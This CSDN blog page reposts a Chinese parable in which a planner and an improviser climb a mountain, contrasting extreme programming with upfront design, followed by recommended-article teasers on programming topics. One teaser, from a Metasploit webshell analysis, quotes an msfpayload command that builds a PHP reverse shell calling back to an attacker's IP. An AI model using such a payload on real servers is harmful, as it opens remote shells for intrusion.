登山的故事(什么是XP,设计)-程序员宅基地

作者:秦梦瑶 来源:csdn
 

从前,有一个A型血的人和一个B型血的人去登山。显然A和B有着不同的登山方法。

A到了山脚下,总是先停下来,仔细打量山势。接着,围着山脚转转,看看哪些是小山包,哪个是主峰。然后,设计几条不同的

登山线路,并选择出最好的登山线路作为首选计划。同时,他还考虑到如果首选计划出现问题,则可以启用第二计划或第三计划...

而此时的B几经爬上了第一个小山包。B登上小山包的时候,发现这个小山包不是去主峰的路。B并没有气馁,稍微打量一下环境,立即从小山包上下来,往更高的一个山峰进发...就这样,B无时无刻不在后退中前进,在下坡中上山,已经将A远远的甩在后面。

最后,B成功地登上主峰,而A还在半山腰艰难地攀登。当A终于登上主峰之后,B说了一句很有很有意思的话:你现在知道极限编程的威力了吧!A默然不语...

一位想学登山的新手来向A和B请教登山的方法。A把他的线路图和计划全部给了新手,没有说一句话。新手看都没看,就跑去问B。B意味深长地说:努力,努力,再努力,当你到达山顶的时候,就知道了登山的方法!新手由衷敬佩。

多年以后,A成功地登上了珠穆朗玛峰。据说B倒下的地方离一号营地只有一百米远...

当那位新手终于找到A求教的时候,A还是将所有的登山线路和计划交给了他,依然没有说一句话。

但新手明白:这就是设计!

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/10732849/viewspace-348172/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/10732849/viewspace-348172/

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cotlrmpfb90429967/article/details/100498911

智能推荐

最小生成树(Prim算法,Kruskal算法 c++)-程序员宅基地

在一个连通图的所有生成树中,各边的代价和最小的那棵生成树称为该连通图的最小代价生成树,即最小生成树有普利姆(Prim)算法和克鲁斯卡尔(Kruskal)算法Prim算法更适合求稠密图的最小生成树【稠密图的无向网更适合使用邻接矩阵形式存储】Kruskal算法更适合求稀疏图的最小生成树【稀疏图的无向网更适合使用邻接表形式存储】输入:8 14a b c d e f g ha b 4 ..._prim算法

Mac MySql The server quit without updating PID file(./auto.cnf(Errcode: 13 - Permission denied))_file './auto.cnf' not found (errcode: 13 - permiss-程序员宅基地

背景:第一次用draw安装的mysql 卸载 官网下载的包安装的第二次问题;出现无法启动 并报Mac The server quit without updating PID file先删除 /usr/local/mysql-5.7.31-macos10.14-x86_64/data 路径下的 .err 文件 然后mysql.server start 生成新的 .err文件注意红框中的error信息 找到 是./auto.cnf 文件问题 直接删掉重新mysql.server star_file './auto.cnf' not found (errcode: 13 - permission denied)

晋升答辩思路总结_软件测试管理晋升答辩报告-程序员宅基地

鹅厂的员工,是怎么做晋升答辩的?_软件测试管理晋升答辩报告

msf生成webshell_Metasploit之使用socket通信的webshell简单分析-程序员宅基地

感谢y3p投递0x01 前言常规的webshell都是调用该语言中习惯函数来完成读取、执行等操作,从协议上来讲是采用http/https协议。但是和服务器通信还有另外一种方式:socket通信。常见的脚本语言asp,php,jsp,都可以实现对应的socket编程。例如使用msf中:msfpayload php/reverse_php LHOST=自己的IP LPORT=端口 R > sha..._msf生成webshell

小程序中如何使用Promise封装请求_小程序promise封装请求怎么使用-程序员宅基地

export const request=(params)=>{ return new Promise((resolve, reject)=>{ wx.request({ ...params, success:(result)=>{ resolve(result); }, fail:(err)=>{ reject_小程序promise封装请求怎么使用

centos7上安装openldap2.4 (转载的,可用)_哪个版本的openldap images镜像可用在centos-程序员宅基地

1. 安装openldap# yum 安装相关包yum install -y openldap openldap-clients openldap-serverscp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIGchown -R ldap:ldap/var/lib/ldap/DB_CONFIG..._哪个版本的openldap images镜像可用在centos

随便推点

Zotero进阶:同步、群组和内置阅读器的使用_zotero无法使用内置阅读-程序员宅基地

全文阅读:https://www.lianxh.cn/news/d372870c6a98b.html目录0. 写在前面 1. Zotero 数据同步 2. Zotero 文件同步 2.1 Zotero 官方盘 2.2 WebDAV 网盘:坚果云 3. Zotero 的群组功能 4. PDF Reader 功能 5. 结语 6. 关联阅读 7. 相关推文 0. 写在前面文献阅读至关重要,但随之而来的问题是:你的文献如何管理呢?本地存放、不成体系?每写一篇论文,建立_zotero无法使用内置阅读

程序员警语收集-程序员宅基地

1、作为一个程序员,必须要有能够接受批评的心胸。同时,还要能够甩掉心理包袱,把批评当作是一种动力。换句话说,建设性的批评能够帮助开发者快速成长,节省时间去经历更多的经验教训。2、作为程序员,如果没有先天缺陷,努力不一定能富裕,但是一定不会贫穷。3、来自:kaka_070: 诚然,浮躁已经成为一种普遍的社会现象,侵入到各行各业。就连以往的佛门清净之地,如今各色"高僧"也不甘寂

开发中经常遇到不同浏览器的编码乱码问题-程序员宅基地

最近又碰到了中文乱码问题,这里我没有把数据库牵扯进来(解决方法就是老实的从数据库查出来 不要直接传参数),先说下我的环境,servlet容器使用Tomcat6.0,浏览器FireFox3.0、IE6,涉及字符编码设置的地方我的思路就是编码的地方都统一使用UTF-8,具体配置如下:1.所有页面的charset设置为UTF-8。 2.Tomcat的URIEncoding默认是ISO-8859...

Block剧终:Objective-C中的闭包性和匿名函数_objective 匿名函数-程序员宅基地

目录1、关于 1.1匿名函数 1.2闭包性2、Objective-C中的实现 2.1将block当做参数来传递 2.2闭包性 2.3内存管理 2.4示例正文摘自:移动开发网http://www.mobiledev.cn/?p=122161、关于许多脚本语言都支持lambda表达式和匿名函数。这两_objective 匿名函数

iOS开发零碎知识点---(有一些还是比较实用的)。-程序员宅基地

一、调用代码使APP进入后台,达到点击Home键的效果。(私有API) [[UIApplication sharedApplication] performSelector:@selector(suspend)];suspend的英文意思有:暂停; 悬; 挂; 延缓;二、带有中文的URL处理。(非UTF-8处理,注意一下)大概举个例子,类似下面的URL,里面直接

Docker的Harbor私有仓库部署与管理_) ui url protocol 用于访问ui和令牌/通知服务的协议。如果公证处于启用状态,-程序员宅基地

这里写目录标题一、Harbor私有仓库介绍1.1 Harbor简介1.2 核心组件介绍1.3 harbor配置文件参数二、部署Harbor私有仓库2.1 实验环境2.2 harbor服务器部署(前提两台服务器都有docker环境)三、Harbor私有仓库的运用3.1 创建项目3.2 上传镜像到Harbor私有仓库3.3 别的服务器上传镜像到harbor私有仓库3.4 从harbor私有仓库下载镜像3.5 用新建的用户下载镜像四,harbor仓库的维护管理一、Harbor私有仓库介绍1.1 Harbor简_) ui url protocol 用于访问ui和令牌/通知服务的协议。如果公证处于启用状态,

推荐文章

热门文章

相关标签